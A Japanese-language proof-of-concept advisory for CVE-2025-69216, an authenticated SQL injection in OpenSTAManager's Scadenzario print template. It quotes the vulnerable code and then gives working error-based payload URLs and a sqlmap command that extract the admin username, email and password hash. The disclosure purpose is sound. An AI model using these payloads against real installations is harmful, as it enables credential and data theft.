
CVE-2025-69216の概念実証リポジトリ。OpenSTAManagerのScadenzario印刷テンプレートの認証済みSQLインジェクションで、エラーベースおよびブラインドSQLiを介して管理者資格情報とデータベース内容の抽出を可能にする。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2025-69216 |
| 重要度 | HIGH |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
OpenSTAManager の Scadenzario(支払予定表)印刷テンプレートにおける認証済み SQL インジェクション脆弱性により、認証された任意のユーザーが、管理者の認証情報、顧客情報、財務記録を含むデータベース内の機密データを抽出できます。この脆弱性により、エラーベースの SQL インジェクション手法を通じてデータベースへの完全な読み取りアクセスが可能になります。
この脆弱性は templates/scadenzario/init.php の46行目に存在し、id_anagrafica パラメータが適切なサニタイズなしに SQL クエリへ直接連結されます:
脆弱なコード:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
get() 関数は、検証なしに GET/POST パラメータからユーザー入力を取得します。パラメータ値は、アプリケーションの prepare() サニタイズ関数を使用せずに文字列連結を使用して SQL クエリ文字列に直接埋め込まれるため、SQL インジェクション攻撃が可能になります。
根本原因:
prepare() 関数の未使用影響を受けるエンドポイント:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
影響を受けるファイル:
templates/scadenzario/init.php (46行目) - 主要な脆弱性templates/scadenzario/init.php (34行目、40行目) - 日付パラメータにおける同様のパターンpdfgen.php - テンプレートレンダリングのエントリポイント1. 脆弱性の確認 - 基本構文エラーテスト:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
SQL 構文エラーがアプリケーションのレスポンスに表示される

2. データベースバージョンの抽出 - エラーベース SQLi:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
結果: ~8.3.0~(MySQL バージョン)

3. データベース名の抽出:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
結果: ~openstamanager~

4. 管理者ユーザー名の抽出:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
結果: ~admin~

5. 管理者メールアドレスの抽出:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
結果: 管理者のメールアドレス

6. パスワードハッシュの抽出(部分 - XPATH 31文字制限):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
結果: bcrypt パスワードハッシュ

7. SQLMap による自動化された悪用:
リクエストファイル sqli_osm.req を作成:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
SQLMap を実行:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
SQLMap が確認したインジェクション種別:

影響を受けるユーザー:
Łukasz Rybak によって報告されました
この CVE は、調整された脆弱性開示の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを目的としています。